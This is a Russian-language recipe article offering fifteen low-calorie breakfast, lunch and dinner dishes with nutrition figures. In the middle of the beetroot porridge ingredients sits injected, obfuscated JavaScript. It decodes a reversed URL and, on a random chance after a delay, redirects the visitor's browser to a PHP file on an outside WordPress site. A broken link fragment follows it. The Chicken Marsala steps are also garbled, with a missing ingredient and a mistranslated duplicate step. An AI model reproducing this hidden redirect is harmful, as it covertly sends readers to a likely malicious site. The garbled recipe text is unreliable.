15 легких блюд для завтрака, обеда и ужина весом менее 400 ккал!

В ваших блюдах мало не только калорий, но и вкуса? Вы устали от однообразных полезных блюд? Пора перекроить свое меню, включив в него новые блюда, насыщенные вкусами и ароматами.

1. ЗАВТРАК
2. Пуддинг из семян чиа
3. Кацеролле с яйцом
4. Шоколадная овсяная каша
5. Тыквенно-банановый хлеб
6. Розовая каша
7. ОБЕД
8. Салат из цветной капусты с заправкой из граната
9. Салат с фасолью “Остров”
10. Суп из моркови и пастернака с киноа
11. Суп из фасоли с кинзой и лаймом
12. Картофельный суп с копченой паприкой
13. УЖИН
14. Салат с рукколой
15. Салат кобб с курицей барбекю
16. Фрикадельки из индейки с пастой
17. Курица “Марсала”
18. Котлетки из киноа с хумусом
19. Рататуй

ЗАВТРАК

Пуддинг из семян чиа

На 8 порций

• 1 чашка сырых орехов кешью (замочить на 2 часа и обсушить)
• 3 стакана воды
• 3 ст.л. меда
• 1 ч.л. ванильного экстракта
• щепотка соли
• 1/2 чашки семян чиа
• Ягоды и орехи для подачи

1. Смешайте все ингредиенты, кроме семян чиа, в блендере до получения однородной массы. Добавьте семена чиа и перемешайте. Перелейте в большую миску и уберите на ночь в холодильник.
2. Подавайте на утро,украсив ягодами или кусочками фруктов, а также семена подсолнечника, орешками или медом.

В одной порции: 193 ккал, 13 г жира, 17 г углеводов, 5,5 г белка

Кацеролле с яйцом

На 8 порций

• Кулинарный спрей
• 180 г французского багета, порезанного на кубики
• 2 чашки тертого сыра
• 10 яиц, слегка взбитых вилкой
• 400 мл молока
• 1 ч.л. сухой горчицы
• 1 ч.л. соли
• 1/4 ч.л. порошка лука
• свежемолотый перец по вкусу
• 8 ломтиков бекона, зажаренных до хруста
• 1/2 стакана нарезанных грибов
• 1/2 стакана нарезанных помидоров (по желанию)

1. Разогрейте духовку до 180 градусов. Кулинарным спреем сбрызните жаропрочный противень. Выложите хлеб, покрыв все дно. Посыпьте хлеб сыром.
2. В большой миске смешайте яйца, молоко, сухую горчицу, соль, луковый порошок и перец. Вылейте яичную смесь равномерно на хлеб и сыр. Выложите сверху измельченный бекон, грибы и помидоры. (В таком виде мы можете хранить блюдо в холодильнике примерно сутки).
3. Запекайте в течение часа или пока кацеролле не зарумянится. Вы можете закрыть блюдо фольгой, если оно начинает гореть. Дайте блюду остыть 5 минут перед подачей.

В одной порции: 370 ккал, 20 г жира, 23 г углеводов, 24 г белка

Шоколадная овсяная каша

На 1 порцию

• 1/2 чашки геркулеса
• 2 ст.л. несладкого какао-порошка
• 1 стакан молока
• 15 капель экстракта стевии (можно заменить парой ложек сахара)
• 1 порция протеинового порошка с шоколадным вкусом

1. Поместите овес, какао и подсластитель в большую миску для СВЧ-печи.
2. Налейте внее 3/4 стакана молока и перемешайте. Поставьте в микроволновую печь на 2 минуты. Прибавляйте еще по 10-20 секунд, если любите более густую консистенцию.
3. Смешайте оставшееся молоко с протеиновым порошком до полного растворения последнего. Добавьте в овсянку и перемешайте.

В одной порции: 353 ккал, 6 г жира, 52 г углеводов, 27 г белка.

Тыквенно-банановый хлеб

На 12-14 порций

• 1 банка консеровированного нута (или 400 г отварного)
• 1/4 чашки меда
• 1 стакан муки из цельного зерна
• 1 стакан белой муки
• 1 ч.л. соды
• 1/2 ч.л. соли
• 1 1/2 ч.л. корицы
• 3/4 стакана сахара
• 3/4 чашки сливочного масла, размягченного
• 2 яйца
• 1 ч.л. ванильного экстракта
• 1 чашка консервированной тыквы (или запеченной)
• 1 большой банан, размятый в пюре

1. Разогрейте духовку до 180 градусов. Поместите нут и мед в чашу комбайна и не режиме пульсации взбейте в однородное пюре.
2. смешайте вместе оба вида муки, прибавьте корицу и отложите в сторону.
3. Миксером смешайте сахар и масло до однородной массы. Добавьте по одному яйца, затем — ванильный экстракт. Добавьте пюре из нута, тыкву и банан. Медлено введите всю муку. Перелейте тесто в форму для кекса, смазанную маслом.
4. Выпекайте от 65 до 75 минут или пока шпажка, воткнутая в центр кекса, не будет сухой.

В одной порции: 337 ккал, 13,5 г жиров, 49 г углеводов, 7 г белка.

Розовая каша

На 1 порцию

• 3/4 чашки любой готовой крупы (киноа, риса или пшена)
• 1 небольшая свекла, мелко натертая на терке
• 1 ст.л. семян тыквы или подсолнечника, поджаренных на сковородке
• 1 столовую ложку семян чиа
• около 3/4 стакана любого растительного молока
• 1 ч.л. корицы
• Изюм или $mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattop-3-retsepta/» target=»_blank» rel=»noopener»>ягоды годжи для подачи

1. Поместите первые шесть ингредиентов в миску и перемешайте. Посыпьте горстью ягод годжи или изюмом. Ешьте сразу!

В одной порции: 365 ккал, 10 г жира, 54 г углеводов, 11г белка

ОБЕД

Салат из цветной капусты с заправкой из граната

На 1 порцию

• 3/4 чашки нарезанной цветной капусты
• Оливковое масло
• Поваренная соль
• Перец
• 120 мл гранатового сока
• 3 чашки рукколы
• 1/4 чашки семян граната
• 3 ломтика бекона из индейки
• 2 ст.л. свежего лимонного сока
• 1/4 чашки тонко нарезанного красный лук

1. Разогрейте духовку до 220 градусов. Смешайте цветную капусту с небольшим количеством оливкового масла, посолите, поперчите и готовьте примерно 10 минут до состояния аль денте.
2. В это время поставьте гранатовый сок в кастрюле на огонь и выпаривайте до консистенции сиропа.
3. Смешайте рукколу, семена граната, бекон, лимонный сок и 1 столовую ложку оливкового масла, приправьте солью и перцем. Выложите салат на тарелку, посыпьте красным луком и полейте теплым гранатовым сиропом.

В одной порции: 303 ккал, 20 г жиров, 24 г углеводов, 11 г белка

Салат с фасолью “Остров”

На 2 порции

• 1 банка (500 г) бобов, слить и промыть
• 1 багка (500 г) ананаса, кусочками
• 1 киви, нарезанный кубиками
• 1 чашка отварной брокколи
• 1/2 зеленого перца, нарезанного кубиками
• 1 ч.л. дижонской горчицы
• 1 ст.л. яблочного уксуса
• 2 ч.л. меда
• сок 1 лайма
• По щепотке соли и красного перца
• 1 ст.л. семян тыквы

1. Смешайте бобы, ананас, 2 ст.л. ананасового сока, киви, брокколи и зеленый перец вместе.
2. В другой чашке смешайте горчицу, яблочный уксус, мед, лимонный сок, красный перец и соль. Заправьте салат и посыпьте семечками.

В одной порции: 364 ккал, 4 г жира, 67 гуглеводов, 18 г белка

Суп из моркови и пастернака с киноа

На 4 порции

• 1 ст.л. кокосового масла
• 1 луковица, измельченная
• 1 лук-шалот, мелко нарезанный
• 1 ч.л. измельченного чеснока
• 1 чайная ложка свежего тимьяна
• 3 свежих листьев шалфея, мелко нарезанных
• 1 ч.л. тмина
• 1/4 ч.л. куркумы
• кайенский перец по вкусу
• молотый черный перец по вкусу
• 400 г моркови, очищенной и нарезанной
• 200 г пастернака, очищенного и нарезанного
• 1/3 стакана киноа, промытой
• 5 чашек овощного бульона или воды
• 1 ст.л. мисо-пасты, растворенной в 1 столовую ложку теплой воды
• морская соль по вкусу
• 2 столовые ложки тертого сыра (по желанию)

1. В большой кастрюле разогрейте кокосовое масло на среднем огне. Добавьте лук, лук-шалот и чеснок и обжаривайте в течение 5–7 минут или пока лук не станет полупрозрачным. Добавьте тимьян, шалфей, тмин, куркуму, кайенский перец и молотый черный перец, перемешайте. Добавьте морковь, пастернак, киона и бульон или воду, доведите до кипения. Уменьшить огонь и варите 20–40 минут, пока овощи не станут мягкими.
2. Снимите с огня и дайте постоять супу 3–5 минут. С помощью погружного блендера, взбейте суп до однородной массы. Прибавьте мисо-пасту и подавайте, посыпав сыром.

В одной порции: 280 кал, 7 г жира, 44 г углеводов, 9 г белка

Суп из фасоли с кинзой и лаймом

На 4 порции

• 1 ст.л. оливкового масла
• 1/2 небольшой луковицы, мелко порезанной
• поваренная соль, перец
• 2 зубчика чеснока
• 2 ч.л. порошка чили
• 1/4 ч.л. тмина
• 2 банки консервированных бобов (воду слить, но бобы не промывать)
• 3,5 стакана воды
• 1 чашка куриного бульона
• 1 ст.л. масла канолы или растительного
• 1 чашка длиннозерного белого риса
• сок 1/2 лайма
• 3 ст.л. измельченной кинзы
• несколько капель зеленого Табаско
• кусочки авокадо для подачи

1. Нагрейте оливковое масло в большой суповой кастрюле на среднем огне. Добавьте лук, приправьте солью и перцем по вкусу, обжаривайте до мягкости около 10 минут. Добавьте чеснок и обжаривайте еще 30 секунд, постоянно помешивая. Добавьте молотый красный перец и тмин, перемешайте. Добавьте фасоль, 1 1/2 стакана воды и куриный бульон, доведите суп до кипения. Уменьшите огонь и тушите 15 минут.
2. Влейте оставшуюся воду, добавьте масло канолы и 1/2 чайной ложки соли, доведите до кипения. Добавьте рис, накройте крышкой, уменьшите огонь до средне-низкого и готовьте, пока рис не станет мягким, около 15 минут. Перемешайте, добавив сок лайма и кинзу.
3. Перелейте пару половников супа в блендер и смешайте до почти однородной массы. Влейте полученное пюре обратно в кастрюлю и перемешайте.
4. Подавайте с ломтиками авокадо и сметаной.

В одной порции: 393 ккал, 8 г жира, 69 г углеводов, 11 г белка

Картофельный суп с копченой паприкой

На 4 порции

• 2ст.л. оливкового масла
• 1 чашка нарезанного лука
• 1/2 чашки нарезанного сельдерея
• 1/2 чашки моркови, нарезанной на кубики
• 1 чашка красного перца, нарезанного кубиками
• 1 чашка желтого перца, нарезанного кубиками
• 3 зубчика чеснока
• 1 ст.л. копченой паприки
• 1 ч.л. кориандра
• 2 чашки картофеля, очищенного и нарезанного кубиками
• 1 банка консервированного (или 500 г отварного) нута
• 1 ч.л. соли
• 1/2 ч.л. молотого перца
• 1/4 чашки нарезанной петрушки или кинзы

1. Нагрейте масло в суповой кастрюле на среднем огне. Добавьте лук, сельдерей, морковь, перец и чеснок и готовьте, пока овощи не начнут поджариваться, около 5 минут.
2. Перемешайте, добавив паприку и кориандр, всыпьте картофель, нут и влейте достататочно воды, чтобы покрыть овощи. Посолите, поперчите и доведите до кипения.
3. Уменьшите огонь и варите, пока картофель не станет мягким, около 30 минут. Посыпьте петрушкой перед подачей.

В одной порции: 314 ккал, 9 г жиров, 52 г углеводов, 9 г белка

УЖИН

Салат с рукколой

На 6 порций

• 1/4 чашки красного винного уксуса
• 1/4 чашки лимонного сока
• 1/4 ч.л. измельченного чеснока
• 1/4 ч.л. измельченного имбиря
• 1/4 ч.л. рубленого лука-шалота
• соль и перец для вкуса
• 1/2 чашки оливкового масла
• 5 чашек рукколы
• 1/2 стакана помидоров черри, порезанных на половинки
• 2 ст.л. кедровых орешков
• 8 штук инжира (можно заменить на 1 грушу или нектарин), тонко нарезанных
• 2 ст.л. измельченного козьего сыра

1. Смешайте уксус, лимонный сок, чеснок, имбирь, лук-шалот, соль и перец в большой миску и взбейте, постепенно добавляя масло. (Это также можно сделать и в комбайне.)
2. Выложите на тарелку рукколу и помидоры, залейте соусом и перемешайте. Посыпьте орехами и сыром. Выложите сверху ломтики инжира.

В одной порции: 295 калорий, 15 г жира, 37 г углеводов, 4 г белка

Салат кобб с курицей барбекю

На 1 порцию

• 100 г куриной грудки
• 2 ст.л. соуса для барбекю
• 2 ломтика бекона из индейки, нарезанных
• 1, 5 чашки нарезанного салата ромэн
• 1 яйцо, сваренное вкрутую, нашинкованного
• 1/4 чашки помидоров-черри, порезанных на половинки
• 1/4 авокадо, нарезанного на кубики

1. Разогрейте духовку до 180 градусов. С помощью кисти смажьте курицу 1 столовой ложкой соуса для барбекю и выложите на противень. Запекайте в течение 25 минут.
2. В это время обжарьте бекон.
3. Выложите ромэн на край тарелки, рядом такими же рядами все остальные ингредиенты. Полейте оставшимся соусом.

В одной порции: 280 ккал, 9,5 г жира, 19 г углеводов, 27,5 г белка

Фрикадельки из индейки с пастой

На 7 порций

• 400 г фарша из индейки
• 1 яичный белок
• 1/2 стакана сухой овсянки
• 1,5 ч.л. порошка чеснока
• 1 ч.л. сушеного орегано
• 1 ч.л.сушеного базилика
• 1 банка (600 г) томатов в собственном соку
• 7 чашек любой пасты из цельного зерна

1. Соедините индейку, яичный белок, овес и специи и скатайте 14 фрикаделек.
2. На дно кастрюли влейте немного томатного соуса, выложите фрикадельки, а сверху — оставшийся соус. Готовьте на медленном или среднем огне в течение приблизительно 45 минут или пока фрикадельки не будутполностью готовы.
3. Подавайте фрикадельки с порцией пасты.

В одной порции: 298 ккал, 2,5 г жира, 47 г углеводов, 25г белка

Курица “Марсала”

На 4 порции

• 4 куриных бедра
• поваренная соль
• 1/2 чашка плюс 1,5 ст.л. цельнозерновой муки
• 1 яйцо
• кулинарный спрей
• 300 г шампиньонов, нарезанных
• 4 зубчика чеснока, измельченных
• 1/2 стакана сухого вина Марсала
• 1 чашка куриного бульона
• 1/3 чашки греческого йогурта
• Свежемолотый черный перец

1. Нагрейте 2 сковороды с антипригарным покрытием на среднем огне. Курицу посолите и поперчите. Положите половину чашки муки в неглубокую посуду, в другой миске взбейте яйцо. Обмакните курицу сначала в муку, затем в яйцо, а потом — снова в муку. Сковороды сбрызните кулинарным спреем и выложите бедрышки обжариваться до золотисто-коричневого цвета с каждой стороны. Оставьте курицу на сковородках до полной готовности. Переложите на тарелку и закройте фольгой.
2. Оботрите одну сковороду бумажным полотенцем и вновь сбрызните маслом, выложите и готовьте 3 минуты. Добавьте чеснок и готовьте еще 1 минуту. Перемешайте и добавьте оставшиеся 1,5 ст.л. муки. Влейте вино и куриный бульон, доведите до кипения и варите пока соус не загустеет, около 3 минут. Снимите кастрюлю с огня. Вмешайте йогурт, приаправьте солью и перцем. Выложите грибную смесь на курицу и подавайте к столу.
3. Движение в йогурте и приправить солью и перцем по вкусу. Ложка грибную смесь поверх курицы.

Котлетки из киноа с хумусом

На 4 порции

• 1 чашка готовой киноа
• 1/2 чашки хумуса, плюс чуть больше для гарнира
• 1/2 чашки рубленого красного перца
• 2 стебля сельдерея, измельченных
• 2 стебля зеленого лука, нарезанных
• соль и перец для вкуса
• 1/2 ст.л. оливкового масла
• 1 помидор, нарезанный ломтиками

1. В средней миске смешать киона, хумус, красный перец, сельдерей и зеленый лук. Приправить солью и перцем.
2. Разогрейте сковороду с антипригарным покрытием на среднем огне, влейте оливковое масло. Сформируйте из крупяной смеси котлетки и обжарьте по 3–4 минуты с каждой стороны до золотистого цвета.
3. Подавайте с оставшимся хумусом и ломтиками помидоров.

В одной порции (2 котлекти): 333 ккал, 13,5 г жира, 43г углеводов, 11 г белка

Рататуй

На 6 порций

• 1-2 большие луковицы, нашинкованные
• 4 больших зубчика чеснока, мелко нашинкованных
• 1/2 чашки оливкового масла
• 1 зеленый перец, очищенный и порезанный кубиками
• 1 красный перец, очищенный и порезанный кубиками
• 1 большой баклажан, нарезанный кубиками
• 4 цукини, нарезанных ломтиками
• 8 очень спелых помидоров, очищенных и измельченных
• 1 ст.л. свежего базилика (или 1 чайная ложка сушеного)
• 1,5 ч.л. соли
• свежемолотый черный перец

1. Пассируйте лук и чеснок в масле в глубокой кастрюле с тяжелым дном. Когда лук станет полупрозрачными, добавьте перец, баклажаны, кабачки ихорошо перемешайте. Уменьшите огонь, накройте кастрюлю плотно крышкой и готовьте на медленном огне в течение 10 минут, встряхивая кастрюлю два или три раза для равномерной готовки.
2. Добавьте помидоры и приправы, продолжайте готовить еще 10 или 12 минут.
3. Снимите крышку и дайте смеси избавиться от лишней жидкости, помешивая.

В одной порции: 228 ккал, 19 г жира, 16 г углеводов, 3 г белка